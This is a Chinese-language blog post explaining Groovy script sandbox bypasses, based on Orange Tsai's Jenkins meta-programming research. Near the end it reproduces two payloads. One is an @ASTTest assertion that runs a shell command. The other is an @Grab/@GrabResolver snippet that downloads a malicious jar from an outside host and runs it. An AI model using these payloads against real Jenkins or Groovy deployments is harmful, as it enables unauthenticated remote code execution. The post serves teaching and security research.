一般談 Script Sandbox,很容易想像成程式跑起來時,每呼叫一個危險操作,就去檢查是否允許。
但一段使用者程式,在正式執行之前,也可能要解析、編譯、轉換語法樹、載入相關類別。如果這些工作本身就有能力產生副作用,只保護最後的 Runtime 就不一定足夠,像是前幾天介紹過的 Twig 案例!
Apache Groovy 是一種針對 Java 平台設計的物件導向、動態腳本語言。它可以直接在 Java 虛擬機器(JVM)上執行,並能無縫與現有的 Java 程式碼和函式庫互操作。
但我覺得它比 Java 友善多了,像是 Hello world
println "hello world"
ez!
所以作為一種 scripting language,它被內嵌在多種場合像是 Gradle 的自動化腳本以及 Jenkins 的 CI/CD Pipeline。
但任何可以跑程式碼的東西都挺危的、、、不覺得嗎?
接下來要講得研究正好就是相關 sandbox bypass 漏洞,就先來看看前人怎麼做的吧!
膜拜大神 <(_ _)>
詳細可閱讀原文: https://blog.orange.tw/posts/2019-02-abusing-meta-programming-for-unauthenticated-rce/ [1]
其實前面就好想在 Twig 時介紹,複習一下一個 script language 加入 sandbox 的流程:
Source text
-> Parse
-> AST transformation / semantic processing
-> Code generation
-> Load
-> Runtime execution
沒錯,並不是直接進 Runtime 執行,而如果在前面 Code generation (Meta-Programming, 讓程式寫程式) 的過程就觸發了額外執行/生成不好的程式碼常常就會造成 Sandbox Bypass。
在橘神的研究中,他第一次找到的是 Assertion 插入惡意程式碼!
this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
assert java.lang.Runtime.getRuntime().exec("touch pwned")
})
def x
''');
P.S. PHP 8 以前的版本也有個好玩的 Assertion Code Injection [2]
最後他改用了 @Grab,動態的 Jar Dependencies Loader 並透過重新指向自己的 malicious host,下載惡意 Jar 後完成命令執行!(透過 processRunners(…) 方法觸發),屬於是一種 LOLBAS 了 (x) orzzz
this.class.classLoader.parseClass('''
@GrabResolver(name='restlet', root='http://orange.tw/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet
''')